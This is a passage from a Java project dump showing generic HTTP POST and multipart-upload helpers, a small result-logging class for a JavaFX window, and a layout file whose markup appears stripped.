92 | // 发送请求参数
93 | out.print(param);
94 | // flush输出流的缓冲
95 | out.flush();
96 | // 定义BufferedReader输入流来读取URL的响应
97 | in = new BufferedReader(
98 | new InputStreamReader(conn.getInputStream()));
99 | String line;
100 | while ((line = in.readLine()) != null) {
101 | result += line + "\n";
102 | }
103 | } catch (Exception e) {
104 | System.out.println("发送 POST 请求出现异常!" + e);
105 | e.printStackTrace();
106 | }
107 | //使用finally块来关闭输出流、输入流
108 | finally {
109 | try {
110 | if (out != null) {
111 | out.close();
112 | }
113 | if (in != null) {
114 | in.close();
115 | }
116 | } catch (IOException ex) {
117 | ex.printStackTrace();
118 | }
119 | }
120 | return result;
121 | }
122 |
123 | public static String upload(String url, HashMap files, String cookie) {
124 | try {
125 | String BOUNDARY = "---------7d4a6d158c9"; // 定义数据分隔线
126 | HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection();
127 | // 发送POST请求必须设置如下两行
128 | conn.setDoOutput(true);
129 | conn.setDoInput(true);
130 | conn.setUseCaches(false);
131 | conn.setRequestMethod("POST");
132 | conn.setRequestProperty("connection", "Keep-Alive");
133 | conn.setRequestProperty("user-agent",
134 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)");
135 | conn.setRequestProperty("Charsert", "UTF-8");
136 | conn.setRequestProperty("Content-Type",
137 | "multipart/form-data; boundary=" + BOUNDARY);
138 | conn.setRequestProperty("Cookie", cookie);
139 |
140 | OutputStream out = new DataOutputStream(conn.getOutputStream());
141 | byte[] end_data = ("\r\n--" + BOUNDARY + "--\r\n").getBytes();// 定义最后数据分隔线
142 | Iterator iter = files.entrySet().iterator();
143 | while (iter.hasNext()) {
144 | Map.Entry entry = (Map.Entry) iter.next();
145 | String key = (String) entry.getKey();
146 | InputStream val = (InputStream) entry.getValue();
147 | String fname = key;
148 | File file = new File(fname);
149 | StringBuilder sb = new StringBuilder();
150 | sb.append("--");
151 | sb.append(BOUNDARY);
152 | sb.append("\r\n");
153 | sb.append("Content-Disposition: form-data;name=\"file"
154 | + "\";filename=\"" + key + "\"\r\n");
155 | sb.append("Content-Type:application/octet-stream\r\n\r\n");
156 |
157 | byte[] data = sb.toString().getBytes();
158 | out.write(data);
159 | DataInputStream in = new DataInputStream(val);
160 | int bytes = 0;
161 | byte[] bufferOut = new byte[1024];
162 | while ((bytes = in.read(bufferOut)) != -1) {
163 | out.write(bufferOut, 0, bytes);
164 | }
165 | out.write("\r\n".getBytes()); // 多个文件时,二个文件之间加入这个
166 | in.close();
167 | }
168 | out.write(end_data);
169 | out.flush();
170 | out.close();
171 |
172 | // 定义BufferedReader输入流来读取URL的响应
173 | BufferedReader reader = new BufferedReader(new InputStreamReader(
174 | conn.getInputStream(), "UTF-8"));
175 | String result = "";
176 | String line;
177 | while ((line = reader.readLine()) != null) {
178 | result += line + "\n";
179 | }
180 | return result;
181 | } catch (Exception e) {
182 | System.out.println("发送POST请求出现异常!" + e);
183 | e.printStackTrace();
184 | return "";
185 | }
186 | }
187 | }
--------------------------------------------------------------------------------
/src/main/java/com/ruoyi/util/ResultUtil.java:
--------------------------------------------------------------------------------
1 | package com.ruoyi.util;
2 |
3 | import com.ruoyi.global.Config;
4 |
5 | public class ResultUtil {
6 |
7 | public static void log(String str) {
8 | Config.resultText.appendText("[*] " + str + "\n");
9 | }
10 |
11 | public static void success(String str) {
12 | Config.resultText.appendText("[+] " + str + "\n");
13 | }
14 |
15 | public static void fail(String str) {
16 | Config.resultText.appendText("[-] " + str + "\n");
17 | }
18 |
19 | public static void clear(){
20 | Config.resultText.clear();
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/src/main/resources/main.fxml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
36 |
37 |
38 |
39 |
40 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
76 |
77 |
82 |
83 |
84 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
108 |
109 |
114 |
115 |
120 |
121 |
122 |
127 |
128 |
129 |
130 |
131 |
132 |
133 |
134 |
135 |
136 |
137 |
138 |
139 |
140 |
141 |
146 |
147 |
152 |
153 |
154 |
155 |
156 |
161 |
162 |
163 |
164 |
165 |
166 |
167 |
168 |
169 |
170 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
--------------------------------------------------------------------------------